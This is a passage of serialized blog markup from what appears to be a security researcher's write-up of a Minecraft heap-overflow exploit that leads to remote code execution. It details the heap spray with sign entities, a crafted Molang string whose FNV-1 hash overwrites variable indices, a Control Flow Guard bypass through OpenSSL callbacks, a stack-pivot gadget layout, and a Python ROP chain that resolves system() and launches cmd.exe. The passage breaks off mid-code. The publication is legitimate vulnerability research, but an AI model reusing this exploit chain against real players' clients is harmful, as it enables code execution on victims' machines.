(their Molang scripts remain dormant)",{"type":23,"tag":2801,"props":165587,"children":165588},{},[165589],{"type":29,"value":165590},"Perform the heap spray with signs to create the desired layout for the attack",{"type":23,"tag":2801,"props":165592,"children":165593},{},[165594],{"type":29,"value":165595},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":23,"tag":30116,"props":165597,"children":165599},{"id":165598},"initial-corruption-variant-lfh-heap-approach",[165600],{"type":29,"value":165601},"Initial Corruption Variant: LFH Heap Approach",{"type":23,"tag":32,"props":165603,"children":165604},{},[165605],{"type":29,"value":165606},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":23,"tag":32,"props":165608,"children":165609},{},[165610,165612,165617,165618,165624],{"type":29,"value":165611},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":23,"tag":71,"props":165613,"children":165615},{"className":165614},[],[165616],{"type":29,"value":163506},{"type":29,"value":5777},{"type":23,"tag":71,"props":165619,"children":165621},{"className":165620},[],[165622],{"type":29,"value":165623},"last_index",{"type":29,"value":165625}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":23,"tag":32,"props":165627,"children":165628},{},[165629,165631,165636,165637,165642,165644,165649,165651,165656,165658,165663,165665,165671,165672,165678,165679,165685],{"type":29,"value":165630},"The main attack can be arranged by making the resulting index point at the ",{"type":23,"tag":71,"props":165632,"children":165634},{"className":165633},[],[165635],{"type":29,"value":160459},{"type":29,"value":164244},{"type":23,"tag":71,"props":165638,"children":165640},{"className":165639},[],[165641],{"type":29,"value":163439},{"type":29,"value":165643},". From there, the script can overwrite three variable indices at offset ",{"type":23,"tag":71,"props":165645,"children":165647},{"className":165646},[],[165648],{"type":29,"value":163197},{"type":29,"value":165650}," within the ",{"type":23,"tag":71,"props":165652,"children":165654},{"className":165653},[],[165655],{"type":29,"value":163439},{"type":29,"value":165657}," by using the string type. This works because a Molang string's value is just a ",{"type":23,"tag":71,"props":165659,"children":165661},{"className":165660},[],[165662],{"type":29,"value":66818},{"type":29,"value":165664}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":23,"tag":71,"props":165666,"children":165668},{"className":165667},[],[165669],{"type":29,"value":165670},"0xfb",{"type":29,"value":611},{"type":23,"tag":71,"props":165673,"children":165675},{"className":165674},[],[165676],{"type":29,"value":165677},"0xfc",{"type":29,"value":2721},{"type":23,"tag":71,"props":165680,"children":165682},{"className":165681},[],[165683],{"type":29,"value":165684},"0xfd",{"type":29,"value":165686}," the script would do:",{"type":23,"tag":64,"props":165688,"children":165690},{"code":165689},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[165691],{"type":23,"tag":71,"props":165692,"children":165693},{"__ignoreMap":7},[165694],{"type":29,"value":165689},{"type":23,"tag":32,"props":165696,"children":165697},{},[165698,165700,165705,165706,165712,165714,165719],{"type":29,"value":165699},"That line would write the ",{"type":23,"tag":71,"props":165701,"children":165703},{"className":165702},[],[165704],{"type":29,"value":66818},{"type":29,"value":102508},{"type":23,"tag":71,"props":165707,"children":165709},{"className":165708},[],[165710],{"type":29,"value":165711},"0x302700fb00fc00fd",{"type":29,"value":165713}," (string's FNV-1 hash) into the allocated ",{"type":23,"tag":71,"props":165715,"children":165717},{"className":165716},[],[165718],{"type":29,"value":163439},{"type":29,"value":165720}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":23,"tag":923,"props":165722,"children":165724},{"id":165723},"hijacking-execution",[165725],{"type":29,"value":165726},"Hijacking Execution",{"type":23,"tag":32,"props":165728,"children":165729},{},[165730,165732,165737,165739,165745],{"type":29,"value":165731},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":23,"tag":71,"props":165733,"children":165735},{"className":165734},[],[165736],{"type":29,"value":165274},{"type":29,"value":165738}," and function pointers in the writable ",{"type":23,"tag":71,"props":165740,"children":165742},{"className":165741},[],[165743],{"type":29,"value":165744},".data",{"type":29,"value":165746}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":23,"tag":32,"props":165748,"children":165749},{},[165750],{"type":29,"value":165751},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":23,"tag":32,"props":165753,"children":165754},{},[165755],{"type":29,"value":165756},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":23,"tag":32,"props":165758,"children":165759},{},[165760],{"type":23,"tag":15189,"props":165761,"children":165763},{"alt":61763,"src":165762},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":23,"tag":32,"props":165765,"children":165766},{},[165767,165769,165775,165777,165783,165785,165790,165792,165797,165799,165805,165807,165812,165814,165820,165822,165827],{"type":29,"value":165768},"This snippet calls a method on an object: ",{"type":23,"tag":71,"props":165770,"children":165772},{"className":165771},[],[165773],{"type":29,"value":165774},"rcx",{"type":29,"value":165776}," holds the object pointer, the first ",{"type":23,"tag":71,"props":165778,"children":165780},{"className":165779},[],[165781],{"type":29,"value":165782},"mov",{"type":29,"value":165784}," loads the object's ",{"type":23,"tag":71,"props":165786,"children":165788},{"className":165787},[],[165789],{"type":29,"value":165274},{"type":29,"value":165791}," into ",{"type":23,"tag":71,"props":165793,"children":165795},{"className":165794},[],[165796],{"type":29,"value":67958},{"type":29,"value":165798},", and the function pointer at ",{"type":23,"tag":71,"props":165800,"children":165802},{"className":165801},[],[165803],{"type":29,"value":165804},"rax + 0x8",{"type":29,"value":165806}," is read into ",{"type":23,"tag":71,"props":165808,"children":165810},{"className":165809},[],[165811],{"type":29,"value":67958},{"type":29,"value":165813},". Finally, ",{"type":23,"tag":71,"props":165815,"children":165817},{"className":165816},[],[165818],{"type":29,"value":165819},"__guard_dispatch_icall_fptr",{"type":29,"value":165821}," is called - this is the CFG dispatch function that validates ",{"type":23,"tag":71,"props":165823,"children":165825},{"className":165824},[],[165826],{"type":29,"value":67958},{"type":29,"value":165828}," as a legal call target before invoking it.",{"type":23,"tag":32,"props":165830,"children":165831},{},[165832],{"type":29,"value":165833},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":23,"tag":32,"props":165835,"children":165836},{},[165837],{"type":23,"tag":15189,"props":165838,"children":165840},{"alt":61763,"src":165839},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":23,"tag":32,"props":165842,"children":165843},{},[165844,165846,165852,165854,165860],{"type":29,"value":165845},"Here, the function pointer at ",{"type":23,"tag":71,"props":165847,"children":165849},{"className":165848},[],[165850],{"type":29,"value":165851},"vtable + 0x10",{"type":29,"value":165853}," is loaded into ",{"type":23,"tag":71,"props":165855,"children":165857},{"className":165856},[],[165858],{"type":29,"value":165859},"rdx",{"type":29,"value":165861}," and then called directly.",{"type":23,"tag":32,"props":165863,"children":165864},{},[165865],{"type":29,"value":165866},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":23,"tag":32,"props":165868,"children":165869},{},[165870,165872,165877],{"type":29,"value":165871},"So the remaining task is to locate OpenSSL function or ",{"type":23,"tag":71,"props":165873,"children":165875},{"className":165874},[],[165876],{"type":29,"value":165274},{"type":29,"value":165878}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":23,"tag":30116,"props":165880,"children":165882},{"id":165881},"locating-overwrite-targets",[165883],{"type":29,"value":165884},"Locating Overwrite Targets",{"type":23,"tag":32,"props":165886,"children":165887},{},[165888,165890,165896,165897,165902,165904,165909,165911,165917],{"type":29,"value":165889},"One of the first targets we identified were the ",{"type":23,"tag":71,"props":165891,"children":165893},{"className":165892},[],[165894],{"type":29,"value":165895},"malloc",{"type":29,"value":2721},{"type":23,"tag":71,"props":165898,"children":165900},{"className":165899},[],[165901],{"type":29,"value":160507},{"type":29,"value":165903}," callbacks. These reside in the ",{"type":23,"tag":71,"props":165905,"children":165907},{"className":165906},[],[165908],{"type":29,"value":165744},{"type":29,"value":165910}," section and are invoked whenever they don’t match the expected ",{"type":23,"tag":71,"props":165912,"children":165914},{"className":165913},[],[165915],{"type":29,"value":165916},"OPENSSL_malloc/free",{"type":29,"value":142365},{"type":23,"tag":32,"props":165919,"children":165920},{},[165921],{"type":23,"tag":15189,"props":165922,"children":165924},{"alt":61763,"src":165923},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":23,"tag":32,"props":165926,"children":165927},{},[165928],{"type":29,"value":165929},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":23,"tag":32,"props":165931,"children":165932},{},[165933,165935,165941,165943,165949,165951,165956],{"type":29,"value":165934},"Later, we found another promising function: ",{"type":23,"tag":71,"props":165936,"children":165938},{"className":165937},[],[165939],{"type":29,"value":165940},"ossl_ec_key_new_method_int",{"type":29,"value":165942},". This function creates and initializes an ",{"type":23,"tag":71,"props":165944,"children":165946},{"className":165945},[],[165947],{"type":29,"value":165948},"EC_KEY",{"type":29,"value":165950}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":23,"tag":71,"props":165952,"children":165954},{"className":165953},[],[165955],{"type":29,"value":165744},{"type":29,"value":165957},") containing function pointers:",{"type":23,"tag":32,"props":165959,"children":165960},{},[165961],{"type":23,"tag":15189,"props":165962,"children":165964},{"alt":61763,"src":165963},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":23,"tag":32,"props":165966,"children":165967},{},[165968,165970,165976,165977,165983,165985,165990,165992,165998,166000,166005,166007,166012,166014,166019],{"type":29,"value":165969},"In the image above, ",{"type":23,"tag":71,"props":165971,"children":165973},{"className":165972},[],[165974],{"type":29,"value":165975},"ret->meth",{"type":29,"value":135829},{"type":23,"tag":71,"props":165978,"children":165980},{"className":165979},[],[165981],{"type":29,"value":165982},"default_ec_key_meth",{"type":29,"value":165984},", which points to a structure of function pointers located in ",{"type":23,"tag":71,"props":165986,"children":165988},{"className":165987},[],[165989],{"type":29,"value":165744},{"type":29,"value":165991},". It then calls ",{"type":23,"tag":71,"props":165993,"children":165995},{"className":165994},[],[165996],{"type":29,"value":165997},"ret->meth->init",{"type":29,"value":165999},", passing the ",{"type":23,"tag":71,"props":166001,"children":166003},{"className":166002},[],[166004],{"type":29,"value":947},{"type":29,"value":166006}," pointer (",{"type":23,"tag":71,"props":166008,"children":166010},{"className":166009},[],[166011],{"type":29,"value":22237},{"type":29,"value":166013},"). This alone isn’t especially useful because ",{"type":23,"tag":71,"props":166015,"children":166017},{"className":166016},[],[166018],{"type":29,"value":22237},{"type":29,"value":166020}," is heap-allocated.",{"type":23,"tag":32,"props":166022,"children":166023},{},[166024,166026,166031],{"type":29,"value":166025},"But, if we look at how ",{"type":23,"tag":71,"props":166027,"children":166029},{"className":166028},[],[166030],{"type":29,"value":165997},{"type":29,"value":166032}," is invoked in the disassembly:",{"type":23,"tag":32,"props":166034,"children":166035},{},[166036],{"type":23,"tag":15189,"props":166037,"children":166039},{"alt":61763,"src":166038},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":23,"tag":32,"props":166041,"children":166042},{},[166043,166044,166049,166051,166056,166058,166063,166065,166070,166072,166077,166079,166084,166086,166091,166093,166099],{"type":29,"value":18739},{"type":23,"tag":71,"props":166045,"children":166047},{"className":166046},[],[166048],{"type":29,"value":165997},{"type":29,"value":166050}," is not ",{"type":23,"tag":71,"props":166052,"children":166054},{"className":166053},[],[166055],{"type":29,"value":65680},{"type":29,"value":166057},", it is called while ",{"type":23,"tag":71,"props":166059,"children":166061},{"className":166060},[],[166062],{"type":29,"value":67958},{"type":29,"value":166064}," still contains the value of ",{"type":23,"tag":71,"props":166066,"children":166068},{"className":166067},[],[166069],{"type":29,"value":165975},{"type":29,"value":166071}," - that is, a pointer to the structure in ",{"type":23,"tag":71,"props":166073,"children":166075},{"className":166074},[],[166076],{"type":29,"value":165744},{"type":29,"value":166078}," that we control. This is ideal, because we can overwrite ",{"type":23,"tag":71,"props":166080,"children":166082},{"className":166081},[],[166083],{"type":29,"value":165982},{"type":29,"value":166085}," with a pointer to a region in ",{"type":23,"tag":71,"props":166087,"children":166089},{"className":166088},[],[166090],{"type":29,"value":165744},{"type":29,"value":166092}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":23,"tag":71,"props":166094,"children":166096},{"className":166095},[],[166097],{"type":29,"value":166098},"mov rsp, rax; ret",{"type":29,"value":166100},"-style gadget.",{"type":23,"tag":32,"props":166102,"children":166103},{},[166104,166106,166111,166113,166118],{"type":29,"value":166105},"Although we discovered that ",{"type":23,"tag":71,"props":166107,"children":166109},{"className":166108},[],[166110],{"type":29,"value":165940},{"type":29,"value":166112}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":23,"tag":71,"props":166114,"children":166116},{"className":166115},[],[166117],{"type":29,"value":165916},{"type":29,"value":166119}," callbacks.",{"type":23,"tag":30116,"props":166121,"children":166123},{"id":166122},"stack-pivot",[166124],{"type":29,"value":166125},"Stack Pivot",{"type":23,"tag":32,"props":166127,"children":166128},{},[166129,166131,166136,166138,166143,166145,166150,166152,166158],{"type":29,"value":166130},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":23,"tag":71,"props":166132,"children":166134},{"className":166133},[],[166135],{"type":29,"value":165744},{"type":29,"value":166137},", overwrite ",{"type":23,"tag":71,"props":166139,"children":166141},{"className":166140},[],[166142],{"type":29,"value":165982},{"type":29,"value":166144}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":23,"tag":71,"props":166146,"children":166148},{"className":166147},[],[166149],{"type":29,"value":165940},{"type":29,"value":166151},". This ultimately calls ",{"type":23,"tag":71,"props":166153,"children":166155},{"className":166154},[],[166156],{"type":29,"value":166157},"default_ec_key_meth->init",{"type":29,"value":166159},", which executes the pivot and begins ROP execution.",{"type":23,"tag":32,"props":166161,"children":166162},{},[166163,166165,166171,166173,166179],{"type":29,"value":166164},"We chose to overwrite the ",{"type":23,"tag":71,"props":166166,"children":166168},{"className":166167},[],[166169],{"type":29,"value":166170},"OPENSSL_free",{"type":29,"value":166172}," callback. This produces only a minor memory leak, while overwriting ",{"type":23,"tag":71,"props":166174,"children":166176},{"className":166175},[],[166177],{"type":29,"value":166178},"OPENSSL_malloc",{"type":29,"value":166180}," would require our replacement function to return a writable, unused memory region.",{"type":23,"tag":32,"props":166182,"children":166183},{},[166184,166186,166192,166193,166199,166201,166206],{"type":29,"value":166185},"For the stack pivot, we found two useful gadgets: ",{"type":23,"tag":71,"props":166187,"children":166189},{"className":166188},[],[166190],{"type":29,"value":166191},"add rsp, 0x10; pop r14; ret",{"type":29,"value":2721},{"type":23,"tag":71,"props":166194,"children":166196},{"className":166195},[],[166197],{"type":29,"value":166198},"xchg rsp, rax; ret",{"type":29,"value":166200},". The exploit writes them into ",{"type":23,"tag":71,"props":166202,"children":166204},{"className":166203},[],[166205],{"type":29,"value":165744},{"type":29,"value":166207}," like this:",{"type":23,"tag":64,"props":166209,"children":166211},{"code":166210},"      +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[166212],{"type":23,"tag":71,"props":166213,"children":166214},{"__ignoreMap":7},[166215],{"type":29,"value":166210},{"type":23,"tag":32,"props":166217,"children":166218},{},[166219,166221,166226,166228,166233,166235,166240,166242,166247,166249,166254,166256,166261,166263,166268],{"type":29,"value":166220},"The second gadget, ",{"type":23,"tag":71,"props":166222,"children":166224},{"className":166223},[],[166225],{"type":29,"value":166198},{"type":29,"value":166227},", is placed in the slot corresponding to the ",{"type":23,"tag":71,"props":166229,"children":166231},{"className":166230},[],[166232],{"type":29,"value":31958},{"type":29,"value":166234}," function pointer. As mentioned earlier, when ",{"type":23,"tag":71,"props":166236,"children":166238},{"className":166237},[],[166239],{"type":29,"value":165997},{"type":29,"value":166241}," is called, ",{"type":23,"tag":71,"props":166243,"children":166245},{"className":166244},[],[166246],{"type":29,"value":67958},{"type":29,"value":166248}," contains a pointer to ",{"type":23,"tag":71,"props":166250,"children":166252},{"className":166251},[],[166253],{"type":29,"value":165982},{"type":29,"value":166255}," - which we have overwritten and now points to our ",{"type":23,"tag":71,"props":166257,"children":166259},{"className":166258},[],[166260],{"type":29,"value":166191},{"type":29,"value":166262}," gadget in ",{"type":23,"tag":71,"props":166264,"children":166266},{"className":166265},[],[166267],{"type":29,"value":165744},{"type":29,"value":557},{"type":23,"tag":32,"props":166270,"children":166271},{},[166272,166274,166280,166282,166287,166289,166295,166297,166302,166304,166309,166311,166316,166318,166323,166325,166330,166332,166337],{"type":29,"value":166273},"When the call occurs, ",{"type":23,"tag":71,"props":166275,"children":166277},{"className":166276},[],[166278],{"type":29,"value":166279},"xchg rsp, rax",{"type":29,"value":166281}," swaps the stack pointer with this controlled pointer inside ",{"type":23,"tag":71,"props":166283,"children":166285},{"className":166284},[],[166286],{"type":29,"value":165744},{"type":29,"value":166288},", effectively moving ",{"type":23,"tag":71,"props":166290,"children":166292},{"className":166291},[],[166293],{"type":29,"value":166294},"rsp",{"type":29,"value":166296}," into our ROP region. After the ",{"type":23,"tag":71,"props":166298,"children":166300},{"className":166299},[],[166301],{"type":29,"value":22237},{"type":29,"value":166303},", execution continues at ",{"type":23,"tag":71,"props":166305,"children":166307},{"className":166306},[],[166308],{"type":29,"value":166191},{"type":29,"value":166310},", which advances ",{"type":23,"tag":71,"props":166312,"children":166314},{"className":166313},[],[166315],{"type":29,"value":166294},{"type":29,"value":166317}," by ",{"type":23,"tag":71,"props":166319,"children":166321},{"className":166320},[],[166322],{"type":29,"value":55725},{"type":29,"value":166324}," bytes, skipping over the padding and the ",{"type":23,"tag":71,"props":166326,"children":166328},{"className":166327},[],[166329],{"type":29,"value":166198},{"type":29,"value":166331}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":23,"tag":71,"props":166333,"children":166335},{"className":166334},[],[166336],{"type":29,"value":166198},{"type":29,"value":166338},") begins executing.",{"type":23,"tag":923,"props":166340,"children":166342},{"id":166341},"rop-chain",[166343],{"type":29,"value":166344},"ROP Chain",{"type":23,"tag":32,"props":166346,"children":166347},{},[166348,166350,166356,166358,166363],{"type":29,"value":166349},"For the demo, the ROP chain simply calls ",{"type":23,"tag":71,"props":166351,"children":166353},{"className":166352},[],[166354],{"type":29,"value":166355},"system(\"cmd.exe\")",{"type":29,"value":166357},". Because Minecraft does not use ",{"type":23,"tag":71,"props":166359,"children":166361},{"className":166360},[],[166362],{"type":29,"value":142087},{"type":29,"value":166364},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":23,"tag":32,"props":166366,"children":166367},{},[166368,166370,166376,166378,166384,166386,166391,166393,166399,166401,166406],{"type":29,"value":166369},"This is straightforward: the chain first calls ",{"type":23,"tag":71,"props":166371,"children":166373},{"className":166372},[],[166374],{"type":29,"value":166375},"GetModuleHandle(\"ucrtbase.dll\")",{"type":29,"value":166377}," to obtain the base address of ",{"type":23,"tag":71,"props":166379,"children":166381},{"className":166380},[],[166382],{"type":29,"value":166383},"ucrtbase.dll",{"type":29,"value":166385}," (which exports ",{"type":23,"tag":71,"props":166387,"children":166389},{"className":166388},[],[166390],{"type":29,"value":142087},{"type":29,"value":166392},"). It then calls ",{"type":23,"tag":71,"props":166394,"children":166396},{"className":166395},[],[166397],{"type":29,"value":166398},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":29,"value":166400}," to retrieve the function’s address. Finally, it invokes ",{"type":23,"tag":71,"props":166402,"children":166404},{"className":166403},[],[166405],{"type":29,"value":142087},{"type":29,"value":166407}," with the \"cmd.exe\" string.",{"type":23,"tag":32,"props":166409,"children":166410},{},[166411],{"type":29,"value":166412},"In the exploit script, the ROP chain looks something like this:",{"type":23,"tag":64,"props":166414,"children":166416},{"code":166415,"language":30683,"meta":7,"className":30684,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[166417],{"type":23,"tag":71,"props":166418,"children":166419},{"__ignoreMap":7},[166420,166428,166436,166461,166469,166477,166484,166492,166500,166527,166540,166553,166574,166603,166632,166639,166647,166660,166668,166704,166712,166719,166727,166734,166759,166770,166782],{"type":23,"tag":75,"props":166421,"children":166422},{"class":77,"line":78},[166423],{"type":23,"tag":75,"props":166424,"children":166425},{"style":3621},[166426],{"type":29,"value":166427},"# get the address of `GetModuleHandle` to `rax`\n",{"type":23,"tag":75,"props":166429,"children":166430},{"class":77,"line":100},[166431],{"type":23,"tag":75,"props":166432,"children":166433},{"style":94},[166434],{"type":29,"value":166435},"rop.gadget(pop_r8)\n",{"type":23,"tag":75,"props":166437,"children":166438},{"class":77,"line":121},[166439,166444,166448,166453,166457],{"type":23,"tag":75,"props":166440,"children":166441},{"style":94},[166442],{"type":29,"value":166443},"rop.gadget(addr_get_module_handle_a ",{"type":23,"tag":75,"props":166445,"children":166446},{"style":209},[166447],{"type":29,"value":15602},{"type":23,"tag":75,"props":166449,"children":166450},{"style":82},[166451],{"type":29,"value":166452}," 0x",{"type":23,"tag":75,"props":166454,"children":166455},{"style":237},[166456],{"type":29,"value":145204},{"type":23,"tag":75,"props":166458,"children":166459},{"style":94},[166460],{"type":29,"value":653},{"type":23,"tag":75,"props":166462,"children":166463},{"class":77,"line":138},[166464],{"type":23,"tag":75,"props":166465,"children":166466},{"style":3621},[166467],{"type":29,"value":166468},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":23,"tag":75,"props":166470,"children":166471},{"class":77,"line":161},[166472],{"type":23,"tag":75,"props":166473,"children":166474},{"style":94},[166475],{"type":29,"value":166476},"rop.gadget(mov_rax_r8_28)\n",{"type":23,"tag":75,"props":166478,"children":166479},{"class":77,"line":196},[166480],{"type":23,"tag":75,"props":166481,"children":166482},{"emptyLinePlaceholder":15},[166483],{"type":29,"value":276},{"type":23,"tag":75,"props":166485,"children":166486},{"class":77,"line":220},[166487],{"type":23,"tag":75,"props":166488,"children":166489},{"style":3621},[166490],{"type":29,"value":166491},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":23,"tag":75,"props":166493,"children":166494},{"class":77,"line":248},[166495],{"type":23,"tag":75,"props":166496,"children":166497},{"style":94},[166498],{"type":29,"value":166499},"rop.gadget(pop_rcx)\n",{"type":23,"tag":75,"props":166501,"children":166502},{"class":77,"line":270},[166503,166508,166513,166518,166522],{"type":23,"tag":75,"props":166504,"children":166505},{"style":94},[166506],{"type":29,"value":166507},"rop.gadget(",{"type":23,"tag":75,"props":166509,"children":166510},{"style":82},[166511],{"type":29,"value":166512},"0x",{"type":23,"tag":75,"props":166514,"children":166515},{"style":237},[166516],{"type":29,"value":166517},"7468B68",{"type":23,"tag":75,"props":166519,"children":166520},{"style":94},[166521],{"type":29,"value":167},{"type":23,"tag":75,"props":166523,"children":166524},{"style":3621},[166525],{"type":29,"value":166526},"# offset of \"ucrtbase.dll\" string\n",{"type":23,"tag":75,"props":166528,"children":166529},{"class":77,"line":279},[166530,166535],{"type":23,"tag":75,"props":166531,"children":166532},{"style":94},[166533],{"type":29,"value":166534},"rop.gadget(ret) ",{"type":23,"tag":75,"props":166536,"children":166537},{"style":3621},[166538],{"type":29,"value":166539},"# movaps alignment\n",{"type":23,"tag":75,"props":166541,"children":166542},{"class":77,"line":303},[166543,166548],{"type":23,"tag":75,"props":166544,"children":166545},{"style":94},[166546],{"type":29,"value":166547},"rop.gadget(push_rax_ret) ",{"type":23,"tag":75,"props":166549,"children":166550},{"style":3621},[166551],{"type":29,"value":166552},"# calls `GetModuleHandle`\n",{"type":23,"tag":75,"props":166554,"children":166555},{"class":77,"line":322},[166556,166561,166565,166570],{"type":23,"tag":75,"props":166557,"children":166558},{"style":94},[166559],{"type":29,"value":166560},"rop.literal(u64(",{"type":23,"tag":75,"props":166562,"children":166563},{"style":82},[166564],{"type":29,"value":14507},{"type":23,"tag":75,"props":166566,"children":166567},{"style":1266},[166568],{"type":29,"value":166569},"\"ucrtbase\"",{"type":23,"tag":75,"props":166571,"children":166572},{"style":94},[166573],{"type":29,"value":702},{"type":23,"tag":75,"props":166575,"children":166576},{"class":77,"line":340},[166577,166581,166585,166590,166595,166599],{"type":23,"tag":75,"props":166578,"children":166579},{"style":94},[166580],{"type":29,"value":166560},{"type":23,"tag":75,"props":166582,"children":166583},{"style":82},[166584],{"type":29,"value":14507},{"type":23,"tag":75,"props":166586,"children":166587},{"style":1266},[166588],{"type":29,"value":166589},"\".dll",{"type":23,"tag":75,"props":166591,"children":166592},{"style":11688},[166593],{"type":29,"value":166594},"\\x00\\x00\\x00\\x00",{"type":23,"tag":75,"props":166596,"children":166597},{"style":1266},[166598],{"type":29,"value":31282},{"type":23,"tag":75,"props":166600,"children":166601},{"style":94},[166602],{"type":29,"value":702},{"type":23,"tag":75,"props":166604,"children":166605},{"class":77,"line":349},[166606,166610,166614,166619,166624,166628],{"type":23,"tag":75,"props":166607,"children":166608},{"style":94},[166609],{"type":29,"value":166560},{"type":23,"tag":75,"props":166611,"children":166612},{"style":82},[166613],{"type":29,"value":14507},{"type":23,"tag":75,"props":166615,"children":166616},{"style":1266},[166617],{"type":29,"value":166618},"\"system",{"type":23,"tag":75,"props":166620,"children":166621},{"style":11688},[166622],{"type":29,"value":166623},"\\x00\\x00",{"type":23,"tag":75,"props":166625,"children":166626},{"style":1266},[166627],{"type":29,"value":31282},{"type":23,"tag":75,"props":166629,"children":166630},{"style":94},[166631],{"type":29,"value":702},{"type":23,"tag":75,"props":166633,"children":166634},{"class":77,"line":363},[166635],{"type":23,"tag":75,"props":166636,"children":166637},{"emptyLinePlaceholder":15},[166638],{"type":29,"value":276},{"type":23,"tag":75,"props":166640,"children":166641},{"class":77,"line":656},[166642],{"type":23,"tag":75,"props":166643,"children":166644},{"style":3621},[166645],{"type":29,"value":166646},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":23,"tag":75,"props":166648,"children":166649},{"class":77,"line":705},[166650,166655],{"type":23,"tag":75,"props":166651,"children":166652},{"style":94},[166653],{"type":29,"value":166654},"rop.gadget(xchg_rcx_rax) ",{"type":23,"tag":75,"props":166656,"children":166657},{"style":3621},[166658],{"type":29,"value":166659},"# move the return value of `GetModuleHandle` to rcx\n",{"type":23,"tag":75,"props":166661,"children":166662},{"class":77,"line":787},[166663],{"type":23,"tag":75,"props":166664,"children":166665},{"style":94},[166666],{"type":29,"value":166667},"rop.gadget(pop_rdx)\n",{"type":23,"tag":75,"props":166669,"children":166670},{"class":77,"line":826},[166671,166675,166679,166683,166687,166691,166695,166699],{"type":23,"tag":75,"props":166672,"children":166673},{"style":94},[166674],{"type":29,"value":166507},{"type":23,"tag":75,"props":166676,"children":166677},{"style":82},[166678],{"type":29,"value":166512},{"type":23,"tag":75,"props":166680,"children":166681},{"style":237},[166682],{"type":29,"value":166517},{"type":23,"tag":75,"props":166684,"children":166685},{"style":209},[166686],{"type":29,"value":20160},{"type":23,"tag":75,"props":166688,"children":166689},{"style":82},[166690],{"type":29,"value":166452},{"type":23,"tag":75,"props":166692,"children":166693},{"style":237},[166694],{"type":29,"value":13656},{"type":23,"tag":75,"props":166696,"children":166697},{"style":94},[166698],{"type":29,"value":167},{"type":23,"tag":75,"props":166700,"children":166701},{"style":3621},[166702],{"type":29,"value":166703},"# offset of \"system\" string\n",{"type":23,"tag":75,"props":166705,"children":166706},{"class":77,"line":834},[166707],{"type":23,"tag":75,"props":166708,"children":166709},{"style":94},[166710],{"type":29,"value":166711},"rop.gadget(get_proc_addr)\n",{"type":23,"tag":75,"props":166713,"children":166714},{"class":77,"line":881},[166715],{"type":23,"tag":75,"props":166716,"children":166717},{"emptyLinePlaceholder":15},[166718],{"type":29,"value":276},{"type":23,"tag":75,"props":166720,"children":166721},{"class":77,"line":3355},[166722],{"type":23,"tag":75,"props":166723,"children":166724},{"style":3621},[166725],{"type":29,"value":166726},"# call 